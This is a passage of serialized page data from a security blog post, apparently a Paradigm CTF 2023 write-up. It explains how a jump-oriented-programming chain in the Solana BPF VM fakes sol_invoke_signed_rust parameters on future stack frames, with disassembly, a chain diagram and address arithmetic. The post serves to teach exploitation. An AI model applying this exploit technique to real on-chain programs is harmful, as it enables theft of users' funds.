_ZN94_",{"type":23,"tag":139,"props":42577,"children":42578},{"style":982},[42579],{"type":28,"value":8297},{"type":23,"tag":139,"props":42581,"children":42582},{"style":305},[42583],{"type":28,"value":42584},"LT",{"type":23,"tag":139,"props":42586,"children":42587},{"style":982},[42588],{"type":28,"value":8297},{"type":23,"tag":139,"props":42590,"children":42591},{"style":294},[42592],{"type":28,"value":11664},{"type":23,"tag":139,"props":42594,"children":42595},{"style":982},[42596],{"type":28,"value":42597},"...$",{"type":23,"tag":139,"props":42599,"children":42600},{"style":294},[42601],{"type":28,"value":6046},{"type":23,"tag":139,"props":42603,"children":42604},{"style":982},[42605],{"type":28,"value":8297},{"type":23,"tag":139,"props":42607,"children":42608},{"style":305},[42609],{"type":28,"value":42610},"GT",{"type":23,"tag":139,"props":42612,"children":42613},{"style":982},[42614],{"type":28,"value":42615},"$$",{"type":23,"tag":139,"props":42617,"children":42618},{"style":305},[42619],{"type":28,"value":42610},{"type":23,"tag":139,"props":42621,"children":42622},{"style":982},[42623],{"type":28,"value":8297},{"type":23,"tag":139,"props":42625,"children":42626},{"style":259},[42627],{"type":28,"value":42628},"4from17ha0d289b72861b06dE\n",{"type":23,"tag":139,"props":42630,"children":42631},{"class":141,"line":1659},[42632],{"type":23,"tag":139,"props":42633,"children":42634},{"emptyLinePlaceholder":15},[42635],{"type":28,"value":184},{"type":23,"tag":139,"props":42637,"children":42638},{"class":141,"line":1667},[42639,42644,42649,42653,42657,42661,42665,42669,42674,42678,42683],{"type":23,"tag":139,"props":42640,"children":42641},{"style":294},[42642],{"type":28,"value":42643},"100001c10",{"type":23,"tag":139,"props":42645,"children":42646},{"style":294},[42647],{"type":28,"value":42648},"  79a2b8ff00000000",{"type":23,"tag":139,"props":42650,"children":42651},{"style":294},[42652],{"type":28,"value":42021},{"type":23,"tag":139,"props":42654,"children":42655},{"style":294},[42656],{"type":28,"value":42026},{"type":23,"tag":139,"props":42658,"children":42659},{"style":259},[42660],{"type":28,"value":42031},{"type":23,"tag":139,"props":42662,"children":42663},{"style":294},[42664],{"type":28,"value":42036},{"type":23,"tag":139,"props":42666,"children":42667},{"style":982},[42668],{"type":28,"value":2328},{"type":23,"tag":139,"props":42670,"children":42671},{"style":1016},[42672],{"type":28,"value":42673},"72",{"type":23,"tag":139,"props":42675,"children":42676},{"style":259},[42677],{"type":28,"value":42050},{"type":23,"tag":139,"props":42679,"children":42680},{"style":294},[42681],{"type":28,"value":42682},"var_48",{"type":23,"tag":139,"props":42684,"children":42685},{"style":259},[42686],{"type":28,"value":1897},{"type":23,"tag":139,"props":42688,"children":42689},{"class":141,"line":1676},[42690,42695,42700,42705,42709,42713,42717,42721,42725,42729],{"type":23,"tag":139,"props":42691,"children":42692},{"style":294},[42693],{"type":28,"value":42694},"100001c18",{"type":23,"tag":139,"props":42696,"children":42697},{"style":1016},[42698],{"type":28,"value":42699},"  1502040000000000",{"type":23,"tag":139,"props":42701,"children":42702},{"style":294},[42703],{"type":28,"value":42704},"   jeq",{"type":23,"tag":139,"props":42706,"children":42707},{"style":259},[42708],{"type":28,"value":6724},{"type":23,"tag":139,"props":42710,"children":42711},{"style":982},[42712],{"type":28,"value":2382},{"type":23,"tag":139,"props":42714,"children":42715},{"style":1016},[42716],{"type":28,"value":15541},{"type":23,"tag":139,"props":42718,"children":42719},{"style":259},[42720],{"type":28,"value":3823},{"type":23,"tag":139,"props":42722,"children":42723},{"style":294},[42724],{"type":28,"value":42402},{"type":23,"tag":139,"props":42726,"children":42727},{"style":259},[42728],{"type":28,"value":1052},{"type":23,"tag":139,"props":42730,"children":42731},{"style":1016},[42732],{"type":28,"value":42285},{"type":23,"tag":139,"props":42734,"children":42735},{"class":141,"line":1745},[42736],{"type":23,"tag":139,"props":42737,"children":42738},{"emptyLinePlaceholder":15},[42739],{"type":28,"value":184},{"type":23,"tag":139,"props":42741,"children":42742},{"class":141,"line":1753},[42743,42748,42753,42758,42762,42766],{"type":23,"tag":139,"props":42744,"children":42745},{"style":294},[42746],{"type":28,"value":42747},"100001c20",{"type":23,"tag":139,"props":42749,"children":42750},{"style":1016},[42751],{"type":28,"value":42752},"  2702000022000000",{"type":23,"tag":139,"props":42754,"children":42755},{"style":294},[42756],{"type":28,"value":42757},"   mul",{"type":23,"tag":139,"props":42759,"children":42760},{"style":294},[42761],{"type":28,"value":42026},{"type":23,"tag":139,"props":42763,"children":42764},{"style":259},[42765],{"type":28,"value":1052},{"type":23,"tag":139,"props":42767,"children":42768},{"style":1016},[42769],{"type":28,"value":42770},"0x22\n",{"type":23,"tag":139,"props":42772,"children":42773},{"class":141,"line":1783},[42774,42779,42784,42788,42792,42796,42800,42804,42809,42813,42818],{"type":23,"tag":139,"props":42775,"children":42776},{"style":294},[42777],{"type":28,"value":42778},"100001c28",{"type":23,"tag":139,"props":42780,"children":42781},{"style":294},[42782],{"type":28,"value":42783},"  79a1b0ff00000000",{"type":23,"tag":139,"props":42785,"children":42786},{"style":294},[42787],{"type":28,"value":42021},{"type":23,"tag":139,"props":42789,"children":42790},{"style":294},[42791],{"type":28,"value":42315},{"type":23,"tag":139,"props":42793,"children":42794},{"style":259},[42795],{"type":28,"value":42031},{"type":23,"tag":139,"props":42797,"children":42798},{"style":294},[42799],{"type":28,"value":42036},{"type":23,"tag":139,"props":42801,"children":42802},{"style":982},[42803],{"type":28,"value":2328},{"type":23,"tag":139,"props":42805,"children":42806},{"style":1016},[42807],{"type":28,"value":42808},"80",{"type":23,"tag":139,"props":42810,"children":42811},{"style":259},[42812],{"type":28,"value":42050},{"type":23,"tag":139,"props":42814,"children":42815},{"style":294},[42816],{"type":28,"value":42817},"var_50",{"type":23,"tag":139,"props":42819,"children":42820},{"style":259},[42821],{"type":28,"value":1897},{"type":23,"tag":139,"props":42823,"children":42824},{"class":141,"line":1791},[42825,42830,42835,42839,42843,42847],{"type":23,"tag":139,"props":42826,"children":42827},{"style":294},[42828],{"type":28,"value":42829},"100001c30",{"type":23,"tag":139,"props":42831,"children":42832},{"style":294},[42833],{"type":28,"value":42834},"  b703000001000000",{"type":23,"tag":139,"props":42836,"children":42837},{"style":294},[42838],{"type":28,"value":42310},{"type":23,"tag":139,"props":42840,"children":42841},{"style":294},[42842],{"type":28,"value":42081},{"type":23,"tag":139,"props":42844,"children":42845},{"style":259},[42846],{"type":28,"value":1052},{"type":23,"tag":139,"props":42848,"children":42849},{"style":1016},[42850],{"type":28,"value":42851},"0x1\n",{"type":23,"tag":139,"props":42853,"children":42854},{"class":141,"line":1823},[42855,42860,42865,42869],{"type":23,"tag":139,"props":42856,"children":42857},{"style":294},[42858],{"type":28,"value":42859},"100001c38",{"type":23,"tag":139,"props":42861,"children":42862},{"style":294},[42863],{"type":28,"value":42864},"  8510000003feffff",{"type":23,"tag":139,"props":42866,"children":42867},{"style":294},[42868],{"type":28,"value":42232},{"type":23,"tag":139,"props":42870,"children":42871},{"style":294},[42872],{"type":28,"value":42873}," __rust_dealloc\n",{"type":23,"tag":139,"props":42875,"children":42876},{"class":141,"line":1831},[42877],{"type":23,"tag":139,"props":42878,"children":42879},{"emptyLinePlaceholder":15},[42880],{"type":28,"value":184},{"type":23,"tag":139,"props":42882,"children":42883},{"class":141,"line":1891},[42884,42889,42894,42898,42902,42906,42910,42914,42919,42923,42928],{"type":23,"tag":139,"props":42885,"children":42886},{"style":294},[42887],{"type":28,"value":42888},"100001c40",{"type":23,"tag":139,"props":42890,"children":42891},{"style":294},[42892],{"type":28,"value":42893},"  79a2d0ff00000000",{"type":23,"tag":139,"props":42895,"children":42896},{"style":294},[42897],{"type":28,"value":42021},{"type":23,"tag":139,"props":42899,"children":42900},{"style":294},[42901],{"type":28,"value":42026},{"type":23,"tag":139,"props":42903,"children":42904},{"style":259},[42905],{"type":28,"value":42031},{"type":23,"tag":139,"props":42907,"children":42908},{"style":294},[42909],{"type":28,"value":42036},{"type":23,"tag":139,"props":42911,"children":42912},{"style":982},[42913],{"type":28,"value":2328},{"type":23,"tag":139,"props":42915,"children":42916},{"style":1016},[42917],{"type":28,"value":42918},"48",{"type":23,"tag":139,"props":42920,"children":42921},{"style":259},[42922],{"type":28,"value":42050},{"type":23,"tag":139,"props":42924,"children":42925},{"style":294},[42926],{"type":28,"value":42927},"var_30",{"type":23,"tag":139,"props":42929,"children":42930},{"style":259},[42931],{"type":28,"value":1897},{"type":23,"tag":139,"props":42933,"children":42934},{"class":141,"line":7053},[42935,42940,42945,42949,42953,42957,42961,42965,42969,42973],{"type":23,"tag":139,"props":42936,"children":42937},{"style":294},[42938],{"type":28,"value":42939},"100001c48",{"type":23,"tag":139,"props":42941,"children":42942},{"style":1016},[42943],{"type":28,"value":42944},"  1502030000000000",{"type":23,"tag":139,"props":42946,"children":42947},{"style":294},[42948],{"type":28,"value":42704},{"type":23,"tag":139,"props":42950,"children":42951},{"style":259},[42952],{"type":28,"value":6724},{"type":23,"tag":139,"props":42954,"children":42955},{"style":982},[42956],{"type":28,"value":2382},{"type":23,"tag":139,"props":42958,"children":42959},{"style":1016},[42960],{"type":28,"value":15308},{"type":23,"tag":139,"props":42962,"children":42963},{"style":259},[42964],{"type":28,"value":3823},{"type":23,"tag":139,"props":42966,"children":42967},{"style":294},[42968],{"type":28,"value":42402},{"type":23,"tag":139,"props":42970,"children":42971},{"style":259},[42972],{"type":28,"value":1052},{"type":23,"tag":139,"props":42974,"children":42975},{"style":1016},[42976],{"type":28,"value":42285},{"type":23,"tag":139,"props":42978,"children":42979},{"class":141,"line":7071},[42980],{"type":23,"tag":139,"props":42981,"children":42982},{"emptyLinePlaceholder":15},[42983],{"type":28,"value":184},{"type":23,"tag":139,"props":42985,"children":42986},{"class":141,"line":7116},[42987,42992,42997,43001,43005,43009,43013,43017,43022,43026,43031],{"type":23,"tag":139,"props":42988,"children":42989},{"style":294},[42990],{"type":28,"value":42991},"100001c50",{"type":23,"tag":139,"props":42993,"children":42994},{"style":294},[42995],{"type":28,"value":42996},"  79a1c8ff00000000",{"type":23,"tag":139,"props":42998,"children":42999},{"style":294},[43000],{"type":28,"value":42021},{"type":23,"tag":139,"props":43002,"children":43003},{"style":294},[43004],{"type":28,"value":42315},{"type":23,"tag":139,"props":43006,"children":43007},{"style":259},[43008],{"type":28,"value":42031},{"type":23,"tag":139,"props":43010,"children":43011},{"style":294},[43012],{"type":28,"value":42036},{"type":23,"tag":139,"props":43014,"children":43015},{"style":982},[43016],{"type":28,"value":2328},{"type":23,"tag":139,"props":43018,"children":43019},{"style":1016},[43020],{"type":28,"value":43021},"56",{"type":23,"tag":139,"props":43023,"children":43024},{"style":259},[43025],{"type":28,"value":42050},{"type":23,"tag":139,"props":43027,"children":43028},{"style":294},[43029],{"type":28,"value":43030},"var_38",{"type":23,"tag":139,"props":43032,"children":43033},{"style":259},[43034],{"type":28,"value":1897},{"type":23,"tag":139,"props":43036,"children":43037},{"class":141,"line":7222},[43038,43043,43047,43051,43055,43059],{"type":23,"tag":139,"props":43039,"children":43040},{"style":294},[43041],{"type":28,"value":43042},"100001c58",{"type":23,"tag":139,"props":43044,"children":43045},{"style":294},[43046],{"type":28,"value":42834},{"type":23,"tag":139,"props":43048,"children":43049},{"style":294},[43050],{"type":28,"value":42310},{"type":23,"tag":139,"props":43052,"children":43053},{"style":294},[43054],{"type":28,"value":42081},{"type":23,"tag":139,"props":43056,"children":43057},{"style":259},[43058],{"type":28,"value":1052},{"type":23,"tag":139,"props":43060,"children":43061},{"style":1016},[43062],{"type":28,"value":42851},{"type":23,"tag":139,"props":43064,"children":43065},{"class":141,"line":21518},[43066,43071,43076,43080],{"type":23,"tag":139,"props":43067,"children":43068},{"style":294},[43069],{"type":28,"value":43070},"100001c60",{"type":23,"tag":139,"props":43072,"children":43073},{"style":294},[43074],{"type":28,"value":43075},"  85100000fefdffff",{"type":23,"tag":139,"props":43077,"children":43078},{"style":294},[43079],{"type":28,"value":42232},{"type":23,"tag":139,"props":43081,"children":43082},{"style":294},[43083],{"type":28,"value":42873},{"type":23,"tag":139,"props":43085,"children":43086},{"class":141,"line":21553},[43087],{"type":23,"tag":139,"props":43088,"children":43089},{"emptyLinePlaceholder":15},[43090],{"type":28,"value":184},{"type":23,"tag":139,"props":43092,"children":43093},{"class":141,"line":21561},[43094,43099,43104,43109,43114,43119],{"type":23,"tag":139,"props":43095,"children":43096},{"style":294},[43097],{"type":28,"value":43098},"100001c68",{"type":23,"tag":139,"props":43100,"children":43101},{"style":1016},[43102],{"type":28,"value":43103},"  9500000000000000",{"type":23,"tag":139,"props":43105,"children":43106},{"style":294},[43107],{"type":28,"value":43108},"   exit",{"type":23,"tag":139,"props":43110,"children":43111},{"style":259},[43112],{"type":28,"value":43113}," {",{"type":23,"tag":139,"props":43115,"children":43116},{"style":294},[43117],{"type":28,"value":43118},"__return_addr",{"type":23,"tag":139,"props":43120,"children":43121},{"style":259},[43122],{"type":28,"value":1897},{"type":23,"tag":24,"props":43124,"children":43125},{},[43126,43128,43134],{"type":28,"value":43127},"Which, assuming that ",{"type":23,"tag":135,"props":43129,"children":43131},{"className":43130},[],[43132],{"type":28,"value":43133},"sol_invoke_signed_rust",{"type":28,"value":43135}," returns 0, is doing the following:",{"type":23,"tag":797,"props":43137,"children":43138},{},[43139,43148,43157],{"type":23,"tag":801,"props":43140,"children":43141},{},[43142],{"type":23,"tag":135,"props":43143,"children":43145},{"className":43144},[],[43146],{"type":28,"value":43147},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":23,"tag":801,"props":43149,"children":43150},{},[43151],{"type":23,"tag":135,"props":43152,"children":43154},{"className":43153},[],[43155],{"type":28,"value":43156},"*[r10-120] = 0x18",{"type":23,"tag":801,"props":43158,"children":43159},{},[43160,43162,43168,43170,43177],{"type":28,"value":43161},"Calls ",{"type":23,"tag":135,"props":43163,"children":43165},{"className":43164},[],[43166],{"type":28,"value":43167},"__rust_dealloc",{"type":28,"value":43169},", which in default circumstances is a ",{"type":23,"tag":64,"props":43171,"children":43174},{"href":43172,"rel":43173},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[68],[43175],{"type":28,"value":43176},"NOP",{"type":28,"value":73},{"type":23,"tag":24,"props":43179,"children":43180},{},[43181],{"type":28,"value":43182},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":23,"tag":24,"props":43184,"children":43185},{},[43186],{"type":28,"value":43187},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":23,"tag":24,"props":43189,"children":43190},{},[43191,43193,43200],{"type":28,"value":43192},"Looking at the ",{"type":23,"tag":64,"props":43194,"children":43197},{"href":43195,"rel":43196},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[68],[43198],{"type":28,"value":43199},"definition",{"type":28,"value":43201},", it's not crystal clear what the parameters are:",{"type":23,"tag":128,"props":43203,"children":43205},{"className":948,"code":43204,"language":947,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[43206],{"type":23,"tag":135,"props":43207,"children":43208},{"__ignoreMap":7},[43209],{"type":23,"tag":139,"props":43210,"children":43211},{"class":141,"line":142},[43212,43216,43221,43225,43230,43234,43238,43242,43246,43250,43255,43259,43263,43267,43271,43275,43280,43284,43288,43292,43297,43301,43305,43309,43313,43317,43322,43326,43330,43334,43338],{"type":23,"tag":139,"props":43213,"children":43214},{"style":279},[43215],{"type":28,"value":18274},{"type":23,"tag":139,"props":43217,"children":43218},{"style":245},[43219],{"type":28,"value":43220}," sol_invoke_signed_rust",{"type":23,"tag":139,"props":43222,"children":43223},{"style":259},[43224],{"type":28,"value":262},{"type":23,"tag":139,"props":43226,"children":43227},{"style":294},[43228],{"type":28,"value":43229},"instruction_addr",{"type":23,"tag":139,"props":43231,"children":43232},{"style":982},[43233],{"type":28,"value":2493},{"type":23,"tag":139,"props":43235,"children":43236},{"style":982},[43237],{"type":28,"value":7825},{"type":23,"tag":139,"props":43239,"children":43240},{"style":279},[43241],{"type":28,"value":7663},{"type":23,"tag":139,"props":43243,"children":43244},{"style":305},[43245],{"type":28,"value":12645},{"type":23,"tag":139,"props":43247,"children":43248},{"style":259},[43249],{"type":28,"value":1052},{"type":23,"tag":139,"props":43251,"children":43252},{"style":294},[43253],{"type":28,"value":43254},"account_infos_addr",{"type":23,"tag":139,"props":43256,"children":43257},{"style":982},[43258],{"type":28,"value":2493},{"type":23,"tag":139,"props":43260,"children":43261},{"style":982},[43262],{"type":28,"value":7825},{"type":23,"tag":139,"props":43264,"children":43265},{"style":279},[43266],{"type":28,"value":7663},{"type":23,"tag":139,"props":43268,"children":43269},{"style":305},[43270],{"type":28,"value":12645},{"type":23,"tag":139,"props":43272,"children":43273},{"style":259},[43274],{"type":28,"value":1052},{"type":23,"tag":139,"props":43276,"children":43277},{"style":294},[43278],{"type":28,"value":43279},"account_infos_len",{"type":23,"tag":139,"props":43281,"children":43282},{"style":982},[43283],{"type":28,"value":2493},{"type":23,"tag":139,"props":43285,"children":43286},{"style":305},[43287],{"type":28,"value":3862},{"type":23,"tag":139,"props":43289,"children":43290},{"style":259},[43291],{"type":28,"value":1052},{"type":23,"tag":139,"props":43293,"children":43294},{"style":294},[43295],{"type":28,"value":43296},"signers_seeds_addr",{"type":23,"tag":139,"props":43298,"children":43299},{"style":982},[43300],{"type":28,"value":2493},{"type":23,"tag":139,"props":43302,"children":43303},{"style":982},[43304],{"type":28,"value":7825},{"type":23,"tag":139,"props":43306,"children":43307},{"style":279},[43308],{"type":28,"value":7663},{"type":23,"tag":139,"props":43310,"children":43311},{"style":305},[43312],{"type":28,"value":12645},{"type":23,"tag":139,"props":43314,"children":43315},{"style":259},[43316],{"type":28,"value":1052},{"type":23,"tag":139,"props":43318,"children":43319},{"style":294},[43320],{"type":28,"value":43321},"signers_seeds_len",{"type":23,"tag":139,"props":43323,"children":43324},{"style":982},[43325],{"type":28,"value":2493},{"type":23,"tag":139,"props":43327,"children":43328},{"style":305},[43329],{"type":28,"value":3862},{"type":23,"tag":139,"props":43331,"children":43332},{"style":259},[43333],{"type":28,"value":1062},{"type":23,"tag":139,"props":43335,"children":43336},{"style":982},[43337],{"type":28,"value":11768},{"type":23,"tag":139,"props":43339,"children":43340},{"style":305},[43341],{"type":28,"value":11208},{"type":23,"tag":24,"props":43343,"children":43344},{},[43345,43347,43352,43354,43361],{"type":28,"value":43346},"The source of ",{"type":23,"tag":64,"props":43348,"children":43350},{"href":43349},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[43351],{"type":28,"value":41962},{"type":28,"value":43353}," helps a lot, but looking at the actual ",{"type":23,"tag":64,"props":43355,"children":43358},{"href":43356,"rel":43357},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[68],[43359],{"type":28,"value":43360},"implementation",{"type":28,"value":43362}," provides more clarity:",{"type":23,"tag":14699,"props":43364,"children":43365},{},[43366],{"type":23,"tag":801,"props":43367,"children":43368},{},[43369,43374,43376,43383],{"type":23,"tag":135,"props":43370,"children":43372},{"className":43371},[],[43373],{"type":28,"value":43229},{"type":28,"value":43375}," points to a ",{"type":23,"tag":64,"props":43377,"children":43380},{"href":43378,"rel":43379},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[68],[43381],{"type":28,"value":43382},"StableInstruction",{"type":28,"value":2493},{"type":23,"tag":24,"props":43385,"children":43386},{},[43387],{"type":23,"tag":429,"props":43388,"children":43390},{"alt":43382,"src":43389},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":23,"tag":14699,"props":43392,"children":43393},{},[43394,43419],{"type":23,"tag":801,"props":43395,"children":43396},{},[43397,43402,43404,43409,43411,43418],{"type":23,"tag":135,"props":43398,"children":43400},{"className":43399},[],[43401],{"type":28,"value":43254},{"type":28,"value":43403}," points to a slice of ",{"type":23,"tag":135,"props":43405,"children":43407},{"className":43406},[],[43408],{"type":28,"value":43279},{"type":28,"value":43410},"  ",{"type":23,"tag":64,"props":43412,"children":43415},{"href":43413,"rel":43414},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[68],[43416],{"type":28,"value":43417},"AccountInfos",{"type":28,"value":73},{"type":23,"tag":801,"props":43420,"children":43421},{},[43422,43427,43429,43434,43436,43441],{"type":23,"tag":135,"props":43423,"children":43425},{"className":43424},[],[43426],{"type":28,"value":43296},{"type":28,"value":43428}," is a bit trickier, it points to a slice of length ",{"type":23,"tag":135,"props":43430,"children":43432},{"className":43431},[],[43433],{"type":28,"value":43321},{"type":28,"value":43435},", containing slices of ",{"type":23,"tag":135,"props":43437,"children":43439},{"className":43438},[],[43440],{"type":28,"value":1401},{"type":28,"value":73},{"type":23,"tag":24,"props":43443,"children":43444},{},[43445],{"type":23,"tag":429,"props":43446,"children":43449},{"alt":43447,"src":43448},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":23,"tag":24,"props":43451,"children":43452},{},[43453,43455,43460],{"type":28,"value":43454},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":23,"tag":659,"props":43456,"children":43457},{},[43458],{"type":28,"value":43459},"future call frames",{"type":28,"value":73},{"type":23,"tag":24,"props":43462,"children":43463},{},[43464,43466,43473],{"type":28,"value":43465},"Now that we have all the parts, all we need is to string it together. The full ",{"type":23,"tag":64,"props":43467,"children":43470},{"href":43468,"rel":43469},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[68],[43471],{"type":28,"value":43472},"reference solution can be found here",{"type":28,"value":73},{"type":23,"tag":24,"props":43475,"children":43476},{},[43477],{"type":28,"value":43478},"Here's a visualization of the final JOP chain.",{"type":23,"tag":128,"props":43480,"children":43482},{"className":41844,"code":43481,"language":41846,"meta":7,"style":7},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the account]\n",[43483],{"type":23,"tag":135,"props":43484,"children":43485},{"__ignoreMap":7},[43486,43494,43501,43508,43516,43523,43531,43539,43547,43555,43563,43571,43579,43587,43595],{"type":23,"tag":139,"props":43487,"children":43488},{"class":141,"line":142},[43489],{"type":23,"tag":139,"props":43490,"children":43491},{},[43492],{"type":28,"value":43493},"graph BT\n",{"type":23,"tag":139,"props":43495,"children":43496},{"class":141,"line":151},[43497],{"type":23,"tag":139,"props":43498,"children":43499},{},[43500],{"type":28,"value":41866},{"type":23,"tag":139,"props":43502,"children":43503},{"class":141,"line":160},[43504],{"type":23,"tag":139,"props":43505,"children":43506},{},[43507],{"type":28,"value":41874},{"type":23,"tag":139,"props":43509,"children":43510},{"class":141,"line":169},[43511],{"type":23,"tag":139,"props":43512,"children":43513},{},[43514],{"type":28,"value":43515},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":23,"tag":139,"props":43517,"children":43518},{"class":141,"line":178},[43519],{"type":23,"tag":139,"props":43520,"children":43521},{},[43522],{"type":28,"value":41890},{"type":23,"tag":139,"props":43524,"children":43525},{"class":141,"line":187},[43526],{"type":23,"tag":139,"props":43527,"children":43528},{},[43529],{"type":28,"value":43530},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":23,"tag":139,"props":43532,"children":43533},{"class":141,"line":196},[43534],{"type":23,"tag":139,"props":43535,"children":43536},{},[43537],{"type":28,"value":43538},"    E --> G[4: process]\n",{"type":23,"tag":139,"props":43540,"children":43541},{"class":141,"line":205},[43542],{"type":23,"tag":139,"props":43543,"children":43544},{},[43545],{"type":28,"value":43546},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":23,"tag":139,"props":43548,"children":43549},{"class":141,"line":214},[43550],{"type":23,"tag":139,"props":43551,"children":43552},{},[43553],{"type":28,"value":43554},"    G --> I[5: process]\n",{"type":23,"tag":139,"props":43556,"children":43557},{"class":141,"line":1320},[43558],{"type":23,"tag":139,"props":43559,"children":43560},{},[43561],{"type":28,"value":43562},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":23,"tag":139,"props":43564,"children":43565},{"class":141,"line":1329},[43566],{"type":23,"tag":139,"props":43567,"children":43568},{},[43569],{"type":28,"value":43570},"    I --> K[6: process]\n",{"type":23,"tag":139,"props":43572,"children":43573},{"class":141,"line":1580},[43574],{"type":23,"tag":139,"props":43575,"children":43576},{},[43577],{"type":28,"value":43578},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":23,"tag":139,"props":43580,"children":43581},{"class":141,"line":1597},[43582],{"type":23,"tag":139,"props":43583,"children":43584},{},[43585],{"type":28,"value":43586},"    K --> N[7: process]\n",{"type":23,"tag":139,"props":43588,"children":43589},{"class":141,"line":1614},[43590],{"type":23,"tag":139,"props":43591,"children":43592},{},[43593],{"type":28,"value":43594},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":23,"tag":139,"props":43596,"children":43597},{"class":141,"line":1627},[43598],{"type":23,"tag":139,"props":43599,"children":43600},{},[43601],{"type":28,"value":43602},"    N --> O[8: Write 0x4337 to the account]\n",{"type":23,"tag":24,"props":43604,"children":43605},{},[43606,43608,43614],{"type":28,"value":43607},"Small note: ",{"type":23,"tag":135,"props":43609,"children":43611},{"className":43610},[],[43612],{"type":28,"value":43613},"target_r10",{"type":28,"value":43615}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":23,"tag":128,"props":43617,"children":43619},{"className":948,"code":43618,"language":947,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[43620],{"type":23,"tag":135,"props":43621,"children":43622},{"__ignoreMap":7},[43623,43668,43703,43710],{"type":23,"tag":139,"props":43624,"children":43625},{"class":141,"line":142},[43626,43630,43635,43639,43644,43648,43652,43656,43660,43664],{"type":23,"tag":139,"props":43627,"children":43628},{"style":279},[43629],{"type":28,"value":18274},{"type":23,"tag":139,"props":43631,"children":43632},{"style":245},[43633],{"type":28,"value":43634}," call_frame_addr",{"type":23,"tag":139,"props":43636,"children":43637},{"style":259},[43638],{"type":28,"value":262},{"type":23,"tag":139,"props":43640,"children":43641},{"style":294},[43642],{"type":28,"value":43643},"depth",{"type":23,"tag":139,"props":43645,"children":43646},{"style":982},[43647],{"type":28,"value":2493},{"type":23,"tag":139,"props":43649,"children":43650},{"style":305},[43651],{"type":28,"value":3862},{"type":23,"tag":139,"props":43653,"children":43654},{"style":259},[43655],{"type":28,"value":1062},{"type":23,"tag":139,"props":43657,"children":43658},{"style":982},[43659],{"type":28,"value":11768},{"type":23,"tag":139,"props":43661,"children":43662},{"style":305},[43663],{"type":28,"value":3862},{"type":23,"tag":139,"props":43665,"children":43666},{"style":259},[43667],{"type":28,"value":1268},{"type":23,"tag":139,"props":43669,"children":43670},{"class":141,"line":151},[43671,43676,43680,43685,43689,43694,43698],{"type":23,"tag":139,"props":43672,"children":43673},{"style":1016},[43674],{"type":28,"value":43675},"    0x200000000",{"type":23,"tag":139,"props":43677,"children":43678},{"style":982},[43679],{"type":28,"value":6910},{"type":23,"tag":139,"props":43681,"children":43682},{"style":1016},[43683],{"type":28,"value":43684}," 0x2000",{"type":23,"tag":139,"props":43686,"children":43687},{"style":982},[43688],{"type":28,"value":7825},{"type":23,"tag":139,"props":43690,"children":43691},{"style":294},[43692],{"type":28,"value":43693}," depth",{"type":23,"tag":139,"props":43695,"children":43696},{"style":982},[43697],{"type":28,"value":6910},{"type":23,"tag":139,"props":43699,"children":43700},{"style":1016},[43701],{"type":28,"value":43702}," 0x1000\n",{"type":23,"tag":139,"props":43704,"children":43705},{"class":141,"line":160},[43706],{"type":23,"tag":139,"props":43707,"children":43708},{"style":259},[43709],{"type":28,"value":1897},{"type":23,"tag":139,"props":43711,"children":43712},{"class":141,"line":169},[43713],{"type":23,"tag":139,"props":43714,"children":43715},{"style":958},[43716],{"type":28,"value":43717},"// call_frame_addr(8) = 0x200011000\n",{"type":23,"tag":41,"props":43719,"children":43720},{"id":26955},[43721],{"type":28,"value":16955},{"type":23,"tag":24,"props":43723,"children":43724},{},[43725,43727,43734],{"type":28,"value":43726},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":23,"tag":64,"props":43728,"children":43731},{"href":43729,"rel":43730},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[68],[43732],{"type":28,"value":43733},"they do exist",{"type":28,"value":73},{"type":23,"tag":24,"props":43736,"children":43737},{},[43738],{"type":28,"value":43739},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":23,"tag":24,"props":43741,"children":43742},{},[43743,43745,43750],{"type":28,"value":43744},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the 